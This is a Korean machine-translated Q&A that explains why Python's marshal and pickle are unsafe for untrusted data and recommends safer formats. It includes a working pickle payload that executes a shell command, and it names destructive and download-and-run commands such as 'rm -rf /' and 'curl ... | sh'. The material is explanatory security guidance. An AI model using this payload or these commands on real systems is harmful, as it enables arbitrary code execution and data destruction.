2014-11-14 1 views
7

나는 파일을 빠르게로드하기 위해 cPickle을 사용하는 프로젝트에서 작업합니다. 며칠 전 나는 marshal이 심지어 cPickle보다 빠를 수 있다고 읽었습니다.마샬링 비 직렬화 - 보안되지 않음

marshal 모듈이 잘못된 또는 악의적으로 제작 된 데이터에 대한 보안 수 없습니다

경고 : 그것은 나를 위해 작동하지만 내가 궁금해서, the documentation 약에서이 경고는 것입니다. 신뢰할 수 없거나 인증되지 않은 출처에서받은 데이터를 비 정렬 화하지 마십시오.

주의하지 않으면 정확히 어떻게됩니까?

+0

좋은 질문입니다. 피클을 사용하여 임의의 코드를 실행하는 것은 쉽지만'마샬 (marshal) '의 취약점은 이론적이라고 생각합니다. Python의 일부 버전에서'marshal.loads'는 segfault를 생성 할 수 있으며 따라서 암시 적으로 메모리를 덮어 쓸 수 있습니다. – Duncan

답변

8

원수

marshal을 악용 할 알려진 방법이 없습니다. 실제로을 사용하여 코드를 실행하면 marshal.loads()은 내가 할 수있는 것이 아니며 marhal.c 소스 코드를 보면 즉시 명백한 방법을 알 수 없습니다.

왜이 경고가 여기에 있습니까? The BDFL explains :

이 BTW 원수에 대한 경고가 합법적이다 -주의 등등 버퍼 오버 플로우에 대해 분석되지 않은 마샬링 데이터 압축을 풉니 C 코드. 누군가가 악의적 인 JPEG를 통해 시스템에 처음 침입했을 때 을 기억하십니까? 동일한 이 마샬 러와 함께 발생할 수 있습니다. 진지하게.

나머지 논의를 읽는 것이 좋습니다. 비 정렬 화 데이터로 인해 파이썬이 segfault로되는 버그가 표시됩니다. 이는 Python 2.5 이후로 수정되었습니다 (이 버그는 잠재적으로 코드 실행에 남용 될 수 있음). 다른 버그 일 수 있습니다!

는 또한, 문서 marshal 언급 :

이것은 일반적으로 "지속"모듈이 아니다. [..] marshal 모듈은 주로 파이썬 .pyc 파일의 모듈에 대한 "의사 컴파일 된"코드 읽기 및 쓰기를 지원하기 위해 이 존재합니다.

신뢰할 수있는 방식으로 데이터를 유지하도록 설계되지 않았습니다.

쉽게 pickle으로 임의의 코드를 실행할 수 있습니다

피클. 예를 들어 :

>>> import pickle 
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.") 
bin data download home lib64  mnt proc run srv tmp  usr  var 
boot dev etc  lib lost+found opt root sbin sys ubuntu vagrant 
0 

이 무해한 ls /이었다뿐만 아니라 덜 무해한 rm -rf /, 또는 curl http://example.com/hack.sh | sh을 수 있습니다.

이이 pickletools 모듈을 사용하여 작동되는 방식을 볼 수 있습니다

>>> import pickletools 
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.") 
    0: c GLOBAL  'os system' 
    11: ( MARK 
    12: S  STRING  'ls /' 
    20: t  TUPLE  (MARK at 11) 
    21: R REDUCE 
    22: . STOP 

pickle.py이 옵 코드가 무엇을 의미하는지에 대한 몇 가지 의견이 있습니다

GLOBAL   = b'c' # push self.find_class(modname, name); 2 string args 
MARK   = b'(' # push special markobject on stack 
STRING   = b'S' # push string; NL-terminated string argument 
TUPLE   = b't' # build tuple from topmost stack items 
REDUCE   = b'R' # apply callable to argtuple, both on stack 
STOP   = b'.' # every pickle ends with STOP 

그것의 대부분은 자체 설명이다; GLOBAL을 사용하면 어떤 기능을 사용할 수 있으며 은 REDUCE으로 부릅니다.

파이썬은 꽤 동적이기 때문에 런타임에 프로그램 을 원숭이 패치 할 때 사용할 수 있습니다. 예를 들어 기능을 으로 변경하여 서버에 암호를 업로드 할 수 있습니다.

그래서 무엇 입니다.

XML, json, MessagePack, ini 파일 또는 다른 것일 수 있습니다. 상황에 따라 가장 적합한 형식은 입니다.

이 코드를 "버퍼 오버 플로우 등에 대해 신중하게 분석 한 적이 있습니까?" 누가 을 알고 있습니다. 대부분의 코드는 그렇지 않으며, C는 잘못한 일을 쉽게합니다. 심지어 파이썬 코드는 may call functions implemented in C that are vulnerable처럼 취약 할 수 있습니다.

여기 have been problems with Python's JSON module. 하지만 동일한 시간에 공개 앱에 많이 사용되므로 일 가능성이 높습니다.으로 안전합니다. 은 marshal보다 확실히 안전합니다. 이는 .pyc 개의 파일 에 대해서만 설계되었으며 명시 적으로 "감사하지 않음!"과 함께 제공됩니다. 경고.

물론 이것은 보장 할 수 없습니다. YAML security hole a few years back that caused every Ruby on Rails application in the world to be vulnerable to arbitrary code execution을 기억하십시오. 죄송합니다. 그리고 이것은 심지어 미묘한 버퍼가 아니 었습니다. 그러나 훨씬 더 명백한 문제입니다.

주 당신해야 하지 사용 yamlload() 방법이 the same problems as Ruby's YAML을 가지고있다. 대신 safe_load()을 사용하십시오.

결론

pickle 모듈의 경고는 매우 보증

marshal 모듈 위의 경고는 "이 코드가 설계되지 않았 더 것으로 보인다 반면, (아마 강하게 언급해야한다) 보안을 염두에두고 "유형의 경고가 있지만 실제로 이것을 악용하는 은 쉽지 않으며 알 수없는 버그가있는 가상의 존재 에 의존합니다. 그래도 다른 것을 사용하는 것이 더 나을 것입니다. 정말


1이가되어야한다 오픈 소스 프로젝트에 대한 신뢰의 물개 "조심스럽게 버퍼 오버 플로우에 대해 등등 분석". 그래, 큰돈을 버리고 코드를 Veracode 등으로 분석 할 수는 있지만 오픈 소스 프로젝트에는 적합하지 않습니다.일부 OpenSSL Heartbleed 클러스터 후 몇 년 전에 Core Infrastructure Initiative 형태로 시도했지만 그 범위와 예산은 상당히 제한되어 있습니다 (그러나 꽤 젊어서 몇 년 내에 견딜 수 있습니다).